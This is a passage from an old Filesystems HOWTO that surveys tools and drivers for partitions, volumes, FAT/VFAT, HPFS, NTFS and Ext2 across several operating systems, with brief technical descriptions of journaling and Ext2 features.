  • Mariusz Borkowski <borkowsm@ii.pw.edu.pl> - ISO9660/RR info
  • Remy Card <card@masi.ibp.fr> - Ext2 filesystem introduction
  • Peter A. Dinda <pdinda@cs.cmu.edu> - HFS filesystem description
  • Alfonso De Gregorio <adg@speedcom.it> - TCFS filesystem info
  • Radek Machacka <radekm@sco.com> - Thanks for SCO UnixWare and SCO OpenServer
  • Andrey Shedel <andreys@cr.cyco.com> - Misc. updates
  • Peter Todd <retep2@home.com> - SFS filesystem info
  • Theodore Ts'o <tytso@mit.edu> - Ext2 filesystem introduction
  • Stephen Tweedie <sct@dcs.ed.ac.uk> - Ext2 filesystem introduction
Many thanks to the above people. If I have forgotten anyone, please let me know.

1.5 Filesystems accessibility map

This is filesystem accessibility "map", alphabetically ordered by operating system. You may find this list a little bit chaotic. It's because Linux sgmltools don't know tables.

YOU SEE THAT THIS `MAP' IS NOT STILL COMPLETE. I WILL TRY TO FINISH IT IN THE NEAR FUTURE.

FreeBSD: BSD FFS | Ext2 | HPFS | NTFS

Linux: AFFS| BeFS| BFS| Ext2 FS| BSD FFS| HPFS| Qnx4 FS| Xia

NetBSD: BSD FFS | FAT12/16 | ISO9660

NetWare 2.x: NWFS-286

NetWare 3.x, 4.x: NWFS-386 | ISO9660

NetWare 5.x: NWFS-386 | NSS | ISO9660

OpenBSD: BSD FFS | FAT12/16

OS/2: Ext2 FS | FAT12/16/32 | HPFS | HPFS | ISO 9660 | JFS | VFAT

QNX 4: FAT12/16 | ISO 9660 | Qnx4 FS

SCO OpenServer: AFS| DTFS| EAFS| HTFS| ISO 9660 | S51K

SCO UnixWare: BFS| DTFS| ISO 9660 | System V| VxFS

1.6 Introduction to contiguous allocation filesystems

Some contiguous filesystems: BFS, ISO9660 and extensions.

1.7 Introduction to linked-list allocation filesystems

1.8 Introduction to FAT-based filesystems

(todo)

Some FAT filesystems: FAT12/16/32, VFAT and NetWare filestem.

1.9 Introduction to Inode filesystems

(todo)

1.10 Introduction to extent filesystems

(todo)

Some 'extent' filesystems: EFS and VxFS.

1.11 Introduction to filesystems using balanced trees

(todo)

Some filesystems which use B+ trees: HFS, NSS, Reiser FS and Spiralog filesystem.

1.12 Introduction to logging/journaling filesystems

File systems update their structural information (called metadata) by synchronous writes. Each metadata update may require many separate writes, and if the system crashes during the write sequence, metadata may be in inconsistent state.

At the next boot the filesystem check utility (called fsck) must walk through the metadata structures, examining and repairing them. This operation takes a very very long time on large filesystems. And the disk may not contain sufficient information to correct the structure. This results in misplaced or removed files.

A journaling file system uses a separate area called a log or journal. Before metadata changes are actually performed, they are logged to this separate area. The operation is then performed. If the system crashes during the operation, there is enough information in the log to "replay" the log record and complete the operation.

This approach does not require a full scan of the file system, yielding very quick filesystem check time on large file systems, generally a few seconds for a multiple-gigabyte file system. In addition, because all information for the pending operation is saved, no removals or lost-and-found moves are required. Disadvantage of journaling filesystems is that they are slower than other filesystems.

Some journaling filesystems: BeFS, HTFS, JFS, NSS, Spiralog filesystem, VxFS and XFS.

1.13 Other filesystem features

Quota

Snapshot

ACLs


Filesystems HOWTO: Volumes

 Next Previous Contents

2. Volumes

2.1 PC Partitions

  • http://www.win.tue.nl/~aeb/partitions/ Partition types document by Andries Brouwer < aeb@cwi.nl>

GNU parted

  • Homepage: http://www.gnu.org/software/parted
  • Download: ftp://ftp.gnu.org/gnu/parted/
  • Authors: Andrew Clausen < clausen@gnu.org>, Lennert Buytenhek < buytenh@dsv.nl> and Matt Wilson < msw@redhat.com>.
  • Bug reports: < bug-parted@gnu.org>,
  • Access: varies for each filesystem, see below.
  • License: GPL
GNU Parted is a program for creating, destroying, resizing, checking and copying partitions, and the filesystems on them.

This is useful for creating space for new operating systems, reorganising disk usage, copying data between hard disks, and "disk imaging" - replicating installations over many computers.

Parted has support for these operations:

Filesystem      detect  create  resize  copy    check
ext2            *       *       *1      *2      *3
fat             *       *       *4      *4      *
linux-swap      *       *       *       *       *

NOTES:

(1) The start of the partition must stay fixed for ext2.

(2) The partition you copy to must be bigger (or exactly the same size) as the partition you copy from.

(3) Limited checking is done when the filesystem is opened. This is the only checking at the moment. All commands (including resize) will gracefully fail, leaving the filesystem in tact, if there are any errors in the file system (and the vast majority of errors in general).

(4) The size of the new partition, after resizing or copying, is restricted by the cluster size for fat (mainly affects FAT16). This is worse than you think, because you don't get to choose your cluster size (it's a bug in Windows, but you want compatibility, right?).

So, in practise, you can always shrink your partition (because Parted can shrink the cluster size), but you may not be able to grow the partition to the size you want. If you don't have any problems with using FAT32, you will always be able to grow the partition to the size you want.

Summary: you can always shrink your partition. If you can't use FAT32 for some reason, you may not be able to grow your partition.

Repairing corrupted partition table

Fixdisktable

  • Homepage: http://bmrc.berkeley.edu/people/chaffee/fat32.html
  • Download: ?
  • Author: ?
  • Access: ?
  • License: ?
This is a utility that handles ext2, FAT, NTFS, ufs, BSD disklabels (but not yet old Linux swap partitions); it actually will rewrite the partition table, if you give it permission.

gpart

  • Homepage: http://home.pages.de/~michab/gpart/
  • Download: ?
  • Author: ?
  • Access: ?
  • License: ?
GPART is a utility that handles ext2, FAT, Linux swap, HPFS, NTFS, FreeBSD and Solaris/x86 disklabels, minix, reiser fs; it prints a proposed contents for the primary partition table, and is well-documented.

rescuept

  • Homepage: util-linux ?
  • Download: ?
  • Author: ?
  • Access: ?
  • License: ?
Recognizes ext2 superblocks, FAT partitions, swap partitions, and extended partition tables; it may also recognize BSD disklabels and Unixware 7 partitions. It prints out information that can be used with fdisk or sfdisk to reconstruct the partition table. It is in the non-installed part of the util-linux distribution.

findsuper

  • Homepage: e2progs ?
  • Download: ?
  • Author: ?
  • Access: ?
  • License: ?
Small utility that finds blocks with the ext2 superblock signature, and prints out location and some info. It is in the non-installed part of the e2progs distribution.

2.2 Other partitions

Because I use only Intel x86 machines, any contributions (or non-x86 machine donation ;-) ) are very welcome. If you can provide any useful information, don't hesitate to mail me.

ADFS partitions

Amiga partitions

ATARI partitions

Macintosh partitions

OSF partitions

Sun partitions

Ultrix partitions

2.3 Unix disklabels

(todo)

BSD disklabel

(todo)

UnixWare disklabel

UnixWare VTOC (Volume Table Of Contents) divides disk partition to 16 logical partitions. Linux kernel supports UnixWare VTOC, you must check "UnixWare slices support (EXPERIMENTAL)" and recompile your kernel. Another way of reading UnixWare disklabel is using GPL port of prtvtoc(1) command, which is in vxtools package.

SCO OpenServer disklabel

(todo)

Sun Solaris disklabel

(todo)

2.4 Windows NT volumes

  • Homepage: http://www.penguin.cz/~mhi/fs/vol/
  • Author: Martin Hinner < mhi@penguin.cz>
  • Access: Read-only, supports OS/2 Volumes, Windows NT Stripe sets and volumes.
  • Download: ftp://ftp.penguin.cz/pub/users/mhi/vol/
  • License: GPL
This linux-kernel driver allows you to access and mount linear and stripe set volumes.

Repairing "fault tolerant" NTFS disks using FTEdit

  • Homepage: ? MS ARTICLE ID: Q131658
  • Download: ftp://ftp.rhrz.uni-bonn.de/pub/pc/winnt/intel/ftedit.zip
  • Author: Microsoft Corp.
  • License: ?
If you have a Windows NT Workstation or Server configured for fault tolerant (FT) partitions (such as stripes with parity and volume sets), and those partitions are inaccessible and appear in Disk Administrator as type Unknown, you can possibly make them accessible again by using the utility FTEDIT.

2.5 MD - Multiple Devices driver for Linux

  • Homepage:?
  • Author: Marc Zyngier < maz@wild-wind.fr.eu.org>
  • Access: Read-write, supports linear mode, RAID-1, RAID-4 and RAID-5.
  • Download: Linux kernel, tools are available at ftp://sweet-smoke.ufr-info-p7.ibp.fr/public/Linux/
  • License: GPL
This driver lets you combine several hard disk partitions into one logical block device. This can be used to simply append one partition to another one or to combine several redundant hard disks to a RAID1/4/5 device so as to provide protection against hard disk failures. This is called "Software RAID" since the combining of the partitions is done by the kernel.

2.6 LVM - Logical Volume Manager (HP-UX LVM?)

Linux implementation is available here:

  • Homepage: http://linux.msede.com/lvm/
  • Author: Heinz Mauelshagen < mauelsha@ez-darmstadt.telekom.de>
  • Access: ?
  • Download: ftp://linux.msede.com/lvm/v0.6/
  • License: GPL

2.7 VxVM - Veritas Volume Manager

For more information about Veritas Volume Manager see http://www.veritas.com/.

See also: VxFS (Veritas Journaling Filesystem).

2.8 IBM OS/2 LVM

Logical Volume Manager is available in OS/2 WarpServer 5. It allows you to create linear volumes on several disks/partitions. Some people say that it's compatible with IBM AIX Logical Volume Manager.

See also: HPFS, JFS

2.9 StackVM

StackVM is CrosStor's volume manager. Using StackVM the administrator can combine multiple physical disk slices into a single logical device know as a vdisk. Vdisk is short for virtual disk. The physical disks can be combined to form a concatenation, RAID 0 (stripe), RAID 1 (mirror), RAID 4 or RAID 5. In addition a single disk partition can be subdivided into multiple simple vdisks. For more information see CrosStor homepage at http://www.crosstor.com/.

2.10 Novell NetWare volumes

NetWare volumes are used for NWFS-386 filesystem.


Filesystems HOWTO: DOS FAT 12/16/32, VFAT

 Next Previous Contents

3. DOS FAT 12/16/32, VFAT

3.1 VFAT: Long filenames

Windows 95/98 and Windows NT/2000 store long filenames on FAT in special directory entries with set attributes ReadOnly, Hidden, System and Volume, so if you access FAT volume from DOS you don't see these "files". These special entries have this mad structure:

byte              sequence number for slot
string(10)        first 5 characters in name
byte              attribute byte
byte              always 0
byte              checksum for 8.3 alias
string(12)        6 more characters in name
word              starting cluster number, 0 in long slots
string(4)         last 2 characters in name

Problem occur when you delete or modify file with long name from system without VFAT support, because only DOS 8+3 entry will be deleted or modified. Scandisk from Windows 95/98 can repair this problem.

3.2 UMSDOS: Linux LFN/attributes on FAT filesystem

Linux has it's own FAT extensions which gives you long filenames, permissions and owners, links and special devices on FAT partition, called UMSDOS. Each directory contains file named "--linux-.---". There are stored long names and other necessary fields. For more information see file /usr/src/linux/Documentation/filesystems/umsdos.txt. Author of Linux umsdos driver is Jacques Gelinas < jacques@solucorp.qc.ca> and it is currently maintained by Matija Nalis < mnalis@jagor.srce.hr>.

3.3 OS/2 Extended Attributes on FAT filesystems

OS/2 Warp version 3,4 and 5 stores long filenames and extended attributes on FAT volume in files "\ea data. sf" and "\wp root. sf" (both files are in root directory of filesystem). AFAIK there is no known implementation of OS/2 EAs for any other OS. If you can supply any information about EA structure, don't hesitate to mail them to me.

3.4 Star LFN

Star LFN is an emulator that allows programs, running under DOS 4.0 or above, to use the long filename functions present in Windows'95 DOS boxes. Currently, it can only read and write long filenames from and into a system+hidden file, which means you can't either read or write real Windows'95 long filenames. For more information see http://sta.c64.org/starlfn.html.

3.5 Accessing VFAT from OS/2 (VFAT-OS2)

  • Homepage: http://www.dsteiner.com/products/software/os2/ifs.htm
  • Author: Daniel Steiner < info@dsteiner.com>
  • Access: Read-Write, no EAs supported.
  • Mirror: ftp://hobbes.nmsu.edu/pub/os2/system/drivers/filesys/
  • License: GPL
VFAT-OS2 is a package that will allow OS/2 to seamlessly access Windows 95 VFAT formatted partitions from OS/2 as if they were standard OS/2 drive letters. The ultimate aim of this package is to be able to use the VFAT file system as a replacement of FAT. It can now also access NTFS partitions in read-only mode.

3.6 Accessing VFAT from DOS (LFNDOS driver)

Some people say that Microsoft has released a driver called LFNDOS that provides the Microsoft Long Filename API under DOS. If you know where can this driver be downloaded, send me e-mail please.

3.7 Accessing VFAT from DOS (Free LFNDOS driver)

  • Homepage: http://members.xoom.com/dosuser/
  • Author: Chris Jones < dosuser@bigfoot.com>
  • Access: Read-Write
  • Mirror: http://www.simtel.net/pub/simtelnet/msdos/fileutil/lfnds106.zip
  • License: Free, source code available
LFNDOS provides the Windows95 Long Filename (LFN) API to DOS programs. It uses the same format for storing the names on disk as Windows95 does, so you can view and use long filenames under both systems interchangeably. It runs as a memory-resident program, and while resident requires about 60k of conventional memory.

Under Windows95, a DOS program can use long filenames by calling a set of interrupt functions, which Windows provides. For example, COMMAND.COM will allow long filenames when run as a DOS Prompt from Windows, but not if you restart in MS-DOS mode. Other programs such as EDIT.COM and all DJGPP programs use long filenames if available.

3.8 Accessing VFAT from DOS (Odi's LFN tools)

  • Homepage: http://odi.webjump.com/
  • Author: Ortwin Glueck < glueck@freesurf.ch>
  • Access: Read-Write, only DOS utilities
  • Mirror: http://www.simtel.net/pub/simtelnet/msdos/fileutil/lfn141.zip
  • License: ?
These tools provide easy file management under DOS with long filenames created by Windows 95/98 on FAT32, FAT16 and FAT12 file systems. Typing LDIR brings up the directory with its long filenames. Copying a file with LCOPY preserves long filenames. You can even create directories (LMD) with long names or rename files (LREN) with long names.

3.9 Accessing FAT32 from OS/2 (FAT32.IFS)

  • Homepage: http://www.os2ss.com/information/kelder/index.html
  • Author: Henks Kelder < hkelder@capgemini.nl >
  • Access: Read-Write, long filenames, no EAs support.
  • Download: http://www.os2ss.com/information/kelder/os2fat32.zip
  • License: Free
FAT32.IFS for OS/2 will allow you to access FAT32 partitions from OS/2. You cannot create FAT32 partitions, you'll still need Win95 OSR2 to do that. Also, OS/2s CHKDSK cannot fix all possible errors that can occur, you'll have to use Windows 95 Scandisk to fix certain errors.

3.10 Accessing FAT32 from Windows NT 4.0

  • Download: http://www.chat.ru/~ashedel/fat32/fastfat32.rar
  • Author: Anonymous
  • License: Free or GPL ?
FAT32 filesystem driver for NT 4.0 and NT 3.51.

3.11 Accessing FAT32 from Windows NT 4.0

  • Homepage: http://www.sysinternals.com/fat32.htm
  • Author: Mark Russinovich < mark@sysinternals.com> and Bryce Cogswell < cogswell@winternals.com>.
  • Access: Read-only in free version, RW in commercial.
  • Download: ?
  • License: Free(read-only) or Commercial(read-write)
This is a FAT32 file system driver for Windows NT(R) 4.0. Once installed, any FAT32 drives present on your system will be fully accessible as native Windows NT volumes. Free version provides read-only capabilities. A read/write version is for sale.

3.12 Accessing Stac/Dblspaced/Drvspaced drives from Linux (DMSDOS)

  • Homepage: http://fb9nt.uni-duisburg.de/mitarbeiter/gockel/software/dmsdos/
  • Author: Frank Gockel < gockel@sent13.uni-duisburg.de> and Pavel Pisa < pisa@cmp.felk.cvut.cz>
  • Access: Stacker, Dblspace and Drvspace in Read-Write mode, long filenames.
  • Download: ftp://fb9nt.uni-duisburg.de/pub/linux/dmsdos/
  • Freshmeat: Console/Filesystems
  • License: GPL
DMSDOS reads and writes compressed DOS filesystems (CVF-FAT). The following configurations are supported:
  • DoubleSpace / DriveSpace (MS-DOS 6.x)
  • DoubleSpace / DriveSpace (Windows 95)
  • DriveSpace 3 (Windows 95 with Plus! pack)
  • Stacker 3
  • Stacker 4
It works with FAT32, NLS, codepages (tested with fat32 patches version 0.2.8 under Linux 2.0.33 and with fat32 in standard 2.1.xx kernels and 2.0.34+35). Dmsdos can run together with vfat or umsdos for long filenames. It has been redesigned to be ready for SMP and should now compile completely under libc6.

3.13 Accessing Dblspaced/Drvspaced drives from Linux (thsfs)

  • Download: ftp://ftp.ai-lab.fh-furtwangen.de/pub/os/linux/local/thsfs.tgz
  • Author: Thomas Scheuermann < ths@ai-lab.fh-furtwangen.de>
  • Access: Dblspace and Drvspace in Read-only mode.
  • License: See copyright on files. Basically free

3.14 Fsresize - FAT16/32 resizer

  • Homepage: http://www.alphalink.com.au/~clausen/fsresize/
  • Author: Andrew Clausen < clausen@alphalink.com.au>
  • Download: http://www.alphalink.com.au/~clausen/fsresize-0.8.tar.gz
  • Freshmeat: Console/Filesystems
  • Access: Read/Write, full FAT16/FAT32 support
  • License: GPL
Resizes FAT16/FAT32 filesystems. It doesn't require any other programs (like a defrager). It has --backup and --restore options, so if there's a power failure, (or a bug), you can always go back. The backup files are usually < 1 meg.

The author probably won't be releasing any more versions of fsresize, because he is working on parted - a Partition Magic clone. It will be able to resize, copy, create and check filesystems/partitions.

3.15 FIPS - FAT16 resizer

  • Homepage: ?
  • Author: Arno Schaefer < schaefer@rbg.informatik.th-darmstadt.de>
  • Download: ftp://sunsite.unc.edu/pub/Linux/system/Install/fips01alpha.tar.z
  • License: GPL


Filesystems HOWTO: High Performance FileSystem (HPFS)

 Next Previous Contents

4. High Performance FileSystem (HPFS)

Good HPFS links:

  • ftp://ftp.leo.org/pub/comp/os/os2/leo/doc/hpfsinf.zip
  • ftp://hobbes.nmsu.edu/pub/os2/info/tips/hpfs.zip
  • http://www.globalxs.nl/home/c/cyborg/index.html - a good page about HPFS accessibility
  • http://www-4.ibm.com/software/os/warp/warp-server/warp-server-adv/c2j.html - IBM OS/2 Warp Server : Features & Benefits : File & Print

4.1 Accessing HPFS from DOS (iHPFS)

  • Homepage: http://www.student.nada.kth.se/~f96-bet/ihpfs/
  • Author: Marcus Better Marcus.Better@abc.se
  • Download: http://www.student.nada.kth.se/~f96-bet/ihpfs/ihpfs128.zip
  • Access: Read-only
  • License: GPL

iHPFS makes possible for OS/2 users to use their HPFS partitions when they boot plain DOS. The HPFS partition is assigned a drive letter, and can be accessed like any DOS drive.iHPFS is restricted to read-only access.

This program is no longer being developed, because author doesn't use OS/2. If you are willing to maintain the program, let him know.

4.2 Accessing HPFS from DOS (hpfsdos)

  • Homepage: ?
  • Author: Robert Muchsel < rmuchsel@iiic.ethz.ch> (this e-mail doesn't work)
  • Access: Read-only
  • License: Shareware ($23)

4.3 Accessing HPFS from DOS (hpfsa)

  • Homepage: http://www.student.informatik.th-darmstadt.de/~akinzler/
  • Author: Andreas Kinzler < akinzler@rbg.informatik.th-darmstadt.de> (this email doesn't work)
  • Download: ftp://ftp.cdrom.com/.1/os2/mdos/hpfsa102.zip
  • Access: Read/Write
  • License: Shareware ($40)

4.4 Accessing HPFS from DOS (amos)

  • Homepage: ?
  • Author: Allan Mertner < mertner@login.dknet.dk> (this email doesn't work)
  • Download: ftp://hobbes.nmsu.edu/pub/dos/amos320.zip
  • License: Shareware ($50)

4.5 Accessing HPFS from Linux

  • Homepage: http://artax.karlin.mff.cuni.cz/~mikulas/vyplody/hpfs/index-e.cgi
  • Download: http://artax.karlin.mff.cuni.cz/~mikulas/vyplody/hpfs/hpfs-0.99b.tar.gz for 2.0 kernels; and http://artax.karlin.mff.cuni.cz/~mikulas/vyplody/hpfs/hpfs-1.98b.tar.gz for 2.2 kernels
  • Author: Mikulas Patocka < mikulas@artax.karlin.mff.cuni.cz >
  • Access: Read-Write, extended attributes, long names.
  • License: GPL
This driver is part of Linux kernel (2.1.x+). It can read and write to HPFS partions. Access rights and owner can be stored in extended attributes. Few bugs in original read-only HPFS are corrected. It supports HPFS386 on Warp Server Advanced.

If you have kernel with HPFS support, say "Y"es to 'OS/2 HPFS filesystem support' in Filesystems submenu. Then recompile kernel using 'make dep bzImage', reboot and try to mount your HPFS partition (e.g. mount /dev/hda2 /mnt -t hpfs).

4.6 Accessing HPFS from FreeBSD

  • Homepage: http://iclub.nsu.ru/~semen/
  • Download: http://iclub.nsu.ru/~semen/hpfs/hpfs-0.3b.tar.gz
  • Author: Semen A. Ustimenko < semenu@FreeBSD.org >
  • Access: Read/Only
  • License: BSD
Driver allows to mount HPFS volume into Unix namespace. ReadOnly access is only supported for now.

4.7 Accessing HPFS from Windows NT 3.5

  • Homepage: http://www.htc.net/~nbehnken/
  • Download: http://www.htc.net/~nbehnken/hpfs_nt.zip
  • Author: Chris Behnken < nbehnken@htc.net >
  • License: Freeware
This program will edit the Windows NT registry and enable HPFS support. Pinball.sys is the HPFS filesystem driver for Windows NT. It can be found on NT 3.5x's CD-ROM. Microsoft no longer supports HPFS. Installing this program will void your warranty and possibly the license agreement.

4.8 Accessing HPFS from Windows NT 4

  • Download: ftp://hobbes.nmsu.edu/pub/windows/hpfsnt.zip
  • Author: ?
  • License: ?
HPFS driver for Windows NT 4.0


Filesystems HOWTO: New Technology FileSystem (NTFS)

 Next Previous Contents

5. New Technology FileSystem (NTFS)

References:

  • http://www.microsoft.com/msj/1198/ntfs/ntfstop.htm NTFS 5 information
  • Rajeev Nagar, Windows NT File System Internals (O'Reilly).
  • Helen Custer, Inside the Windows NT File System, ISBN: 1-55615-660-X.
  • NTFS documentation by Regis Duchesne < regis@via.ecp.fr>, http://www.via.ecp.fr/~regis/ntfs.tar.bz2 or http://celine.via.ecp.fr/~regis/ntfs/new
  • Microsoft TechNet, February 97, Windows NT Training: Support, NTFS
  • http://www.stat.math.ethz.ch/~maechler/NTFS-docu

5.1 Accessing NTFS from DOS (NTFSDOS.EXE)

  • Homepage: http://www.sysinternals.com/ntfs20.htm
  • Authors: Mark Russinovich < mark@sysinternals.com> and Bryce Cogswell < cogswell@winternals.com>.
  • Access: Read-only, Long filenames under DOS 7 and Win9x.
NTFSDOS.EXE is a network file system redirector for DOS/Windows that is able to recognize and mount NTFS drives for transparent access. It makes NTFS drives appear indistinguishable from standard FAT drives, providing the ability to navigate, view and execute programs on them from DOS or from Windows, including from the Windows 3.1 File Manager and Windows 95 Explorer.

5.2 Accessing NTFS from DOS (ntpwd)

  • Homepage: http://www.esiea.fr/public_html/Christophe.GRENIER/
  • Author: Grenier Christophe < grenier@nef.esiea.fr >
  • Access: Read-only (rw experimental), long filenames supported, no driver letter (dos tools)
  • License: GPL

NTPwd contains command line tools to access NTFS partition, it'a a Dos port of the driver used by Linux. It contains too a little utility to change NT password.

5.3 Accessing NTFS from OS/2

  • Homepage: http://www.dsteiner.com/products/software/os2/ifs.htm
  • Mirror: ftp://ftp-os2.nmsu.edu/pub/os2/system/drivers/filesys/ntfs_003.zip, ftp://ftp.leo.org/pub/comp/os/os2/leo/drivers/ifs
  • Author: Daniel Steiner < info@dsteiner.com >
  • Access: Read-only, Long filenames supported
ntfs_003.zip archive contains only command line tools to acccess a NTFS partition in OS/2. A true IFS for accessing NTFS is included in VFAT-OS2 v0.05.

5.4 Accessing NTFS from Linux

  • Homepage: http://www.informatik.hu-berlin.de/~loewis/ntfs/
  • Author: Martin von Löwis loewis@informatik.hu-berlin.de
  • Freshmeat: Console/Filesystems
  • Homepage: http://www.informatik.hu-berlin.de/~loewis/ntfs/ntfs-current.tgz
  • Mirror: Included in official Linux kernel
  • Access: RO, experimental RW, compression, no encryption
  • License: GPL
Works both as a kernel driver, as well as a set of command line utilities.

5.5 Accessing NTFS from FreeBSD and NetBSD

  • Homepage: http://iclub.nsu.ru/~semen/ntfs/
  • Author: Semen A. Ustimenko < semenu@FreeBSD.org>
  • Download: As part of FreeBSD ( ftp://ftp.FreeBSD.org/pub/FreeBSD/), and NetBSD ( ftp://ftp.NetBSD.org/pub/NetBSD/)
  • Mirror: Lookup for FreeBSD's and NetBSD's mirrors
  • Access: Read + limited writing, doesn't support codepages
  • License: BSD
Driver allows to mount NTFS volumes under FreeBSD and NetBSD. We also support limited writing ability: you can write into not comressed files without holes, but you can't change the size of file yet. Write support was made to swap on NTFS volume.

5.6 Accessing NTFS from BeOS

  • Homepage: http://www.cs.tamu.edu/people/tkg0143/be/
  • Author: Travis Geiselbrecht < geist@tamu.edu >
  • Download: http://www.cs.tamu.edu/people/tkg0143/be/downloads/ntfs-0.05-x86-r4.zip
  • Access: ?
  • License: Free
This is a ALPHA version of a NTFS driver for BeOS. It is not the most polished thing in the world, but every release that author puts out is more stable than the last. He just implemented compressed file reads, so be careful with those. He also finally worked with NTFS 5 volumes, and managed to root out a few bugs.

Author now works for Be Inc, so you will not see his NTFS and ext2 filesystem support updated on the web much more. The drivers will be pulled into future BeOS releases.

5.7 Accessing NTFS from BeOS (another)

  • Homepage: http://www.sw.com.sg/solutions/ntfs-ro.shtml
  • Author: Standard & Western Software, http://www.sw-soft.com
  • Download: http://download.sw.com.sg/pub/Be/ntfs-rod-0302.tar.gz
  • Access: Read-only.

5.8 Repairing NTFS using NTFSDOS Tools

  • Homepage: http://www.sysinternals.com/
  • Author: Winternals Software < info@winternals.com>
  • Access: Read-Write: Copy and replace files.
  • License: Commercial
An add-on to NTFSDOS that allows one to rename existing files, or to overwrite a file with new data. Very limited functionality.

5.9 Repairing NTFS using NTRecover

  • Homepage: http://www.sysinternals.com/
  • Author: Winternals Software < info@winternals.com>
  • Access: Freeware version is read-only, commercial version is read/write.
  • License: Freeware read-only version, commercial read/write version
Uses a boot floppy and a serial connection to a second NT system to provide full access to a NTFS drives on dead NT systems. Ideal for salvaging data or replacing drivers.


Filesystems HOWTO: Extended filesystems (Ext, Ext2, Ext3)

 Next Previous Contents

6. Extended filesystems (Ext, Ext2, Ext3)

Extended filesystem (ext fs), second extended filesystem (ext2fs) and third extended filesystem (ext3fs) were designed and implemented on Linux by Rémy Card, Laboratoire MASI--Institut Blaise Pascal, < card@masi.ibp.fr>, Theodore Ts'o, Massachussets Institute of Technology, < tytso@mit.edu> and Stephen Tweedie, University of Edinburgh, < sct@redhat.com>

  • http://web.mit.edu/tytso/www/linux/ext2.html - The ext2 homepage. This is the primary source of information about ext2.
  • http://uranus.it.swin.edu.au/~jn/explore2fs/es2fs.htm - Document about ext2fs from John Newbigin.
  • http://www.ing.umu.se/~bosse/ - Ext2fs_Rec (ext2 recognizer for WinNT).

6.1 Extended filesystem (ExtFS)

This is old filesystem used in early Linux systems.

6.2 Second Extended Filesystem (Ext2 FS)

The Second Extended File System is probably the most widely used filesystem in the Linux community. It provides standard Unix file semantics and advanced features. Moreover, thanks to the optimizations included in the kernel code, it is robust and offers excellent performance.

Since Ext2fs has been designed with evolution in mind, it contains hooks that can be used to add new features. Some people are working on extensions to the current filesystem: access control lists conforming to the Posix semantics, undelete, and on-the-fly file compression.

Ext2fs was first developed and integrated in the Linux kernel and is now actively being ported to other operating systems. An Ext2fs server running on top of the GNU Hurd has been implemented. People are also working on an Ext2fs port in the LITES server, running on top of the Mach microkernel and in the VSTa operating system. Last, but not least, Ext2fs is an important part of the Masix operating system, currently under development by one of the authors.

Motivations

The Second Extended File System has been designed and implemented to fix some problems present in the first Extended File System. Our goal was to provide a powerful filesystem, which implements Unix file semantics and offers advanced features.

Of course, we wanted to Ext2fs to have excellent performance. We also wanted to provide a very robust filesystem in order to reduce the risk of data loss in intensive use. Last, but not least, Ext2fs had to include provision for extensions to allow users to benefit from new features without reformatting their filesystem.

``Standard'' Ext2fs features

The Ext2fs supports standard Unix file types: regular files, directories, device special files and symbolic links.

Ext2fs is able to manage filesystems created on really big partitions. While the original kernel code restricted the maximal filesystem size to 2 GB, recent work in the VFS layer have raised this limit to 4 TB. Thus, it is now possible to use big disks without the need of creating many partitions.

Ext2fs provides long file names. It uses variable length directory entries. The maximal file name size is 255 characters. This limit could be extended to 1012 if needed.

Ext2fs reserves some blocks for the super user (root). Normally, 5% of the blocks are reserved. This allows the administrator to recover easily from situations where user processes fill up filesystems.

``Advanced'' Ext2fs features

In addition to the standard Unix features, Ext2fs supports some extensions which are not usually present in Unix filesystems.

File attributes allow the users to modify the kernel behavior when acting on a set of files. One can set attributes on a file or on a directory. In the later case, new files created in the directory inherit these attributes.

BSD or System V Release 4 semantics can be selected at mount time. A mount option allows the administrator to choose the file creation semantics. On a filesystem mounted with BSD semantics, files are created with the same group id as their parent directory. System V semantics are a bit more complex: if a directory has the setgid bit set, new files inherit the group id of the directory and subdirectories inherit the group id and the setgid bit; in the other case, files and subdirectories are created with the primary group id of the calling process.

BSD-like synchronous updates can be used in Ext2fs. A mount option allows the administrator to request that metadata (inodes, bitmap blocks, indirect blocks and directory blocks) be written synchronously on the disk when they are modified. This can be useful to maintain a strict metadata consistency but this leads to poor performances. Actually, this feature is not normally used, since in addition to the performance loss associated with using synchronous updates of the metadata, it can cause corruption in the user data which will not be flagged by the filesystem checker.

Ext2fs allows the administrator to choose the logical block size when creating the filesystem. Block sizes can typically be 1024, 2048 and 4096 bytes. Using big block sizes can speed up I/O since fewer I/O requests, and thus fewer disk head seeks, need to be done to access a file. On the other hand, big blocks waste more disk space: on the average, the last block allocated to a file is only half full, so as blocks get bigger, more space is wasted in the last block of each file. In addition, most of the advantages of larger block sizes are obtained by Ext2 filesystem's preallocation techniques.

Ext2fs implements fast symbolic links. A fast symbolic link does not use any data block on the filesystem. The target name is not stored in a data block but in the inode itself. This policy can save some disk space (no data block needs to be allocated) and speeds up link operations (there is no need to read a data block when accessing such a link). Of course, the space available in the inode is limited so not every link can be implemented as a fast symbolic link. The maximal size of the target name in a fast symbolic link is 60 characters. We plan to extend this scheme to small files in the near future.

Ext2fs keeps track of the filesystem state. A special field in the superblock is used by the kernel code to indicate the status of the file system. When a filesystem is mounted in read/write mode, its state is set to ``Not Clean''. When it is unmounted or remounted in read-only mode, its state is reset to ``Clean''. At boot time, the filesystem checker uses this information to decide if a filesystem must be checked. The kernel code also records errors in this field. When an inconsistency is detected by the kernel code, the filesystem is marked as ``Erroneous''. The filesystem checker tests this to force the check of the filesystem regardless of its apparently clean state.

Always skipping filesystem checks may sometimes be dangerous, so Ext2fs provides two ways to force checks at regular intervals. A mount counter is maintained in the superblock. Each time the filesystem is mounted in read/write mode, this counter is incremented. When it reaches a maximal value (also recorded in the superblock), the filesystem checker forces the check even if the filesystem is ``Clean''. A last check time and a maximal check interval are also maintained in the superblock. These two fields allow the administrator to request periodical checks. When the maximal check interval has been reached, the checker ignores the filesystem state and forces a filesystem check.

An attribute allows the users to request secure deletion on files. When such a file is deleted, random data is written in the disk blocks previously allocated to the file. This prevents malicious people from gaining access to the previous content of the file by using a disk editor.

Last, new types of files inspired from the 4.4 BSD filesystem have recently been added to Ext2fs. Immutable files can only be read: nobody can write or delete them. This can be used to protect sensitive configuration files. Append-only files can be opened in write mode but data is always appended at the end of the file. Like immutable files, they cannot be deleted or renamed. This is especially useful for log files which can only grow.

Physical Structure

The physical structure of Ext2 filesystems has been strongly influenced by the layout of the BSD filesystem. A filesystem is made up of block groups. Block groups are analogous to BSD FFS's cylinder groups. However, block groups are not tied to the physical layout of the blocks on the disk, since modern drives tend to be optimized for sequential access and hide their physical geometry to the operating system.

,---------+---------+---------+---------+---------,
| Boot    | Block   | Block   |   ...   | Block   |
| sector  | group 1 | group 2 |         | group n |
`---------+---------+---------+---------+---------'

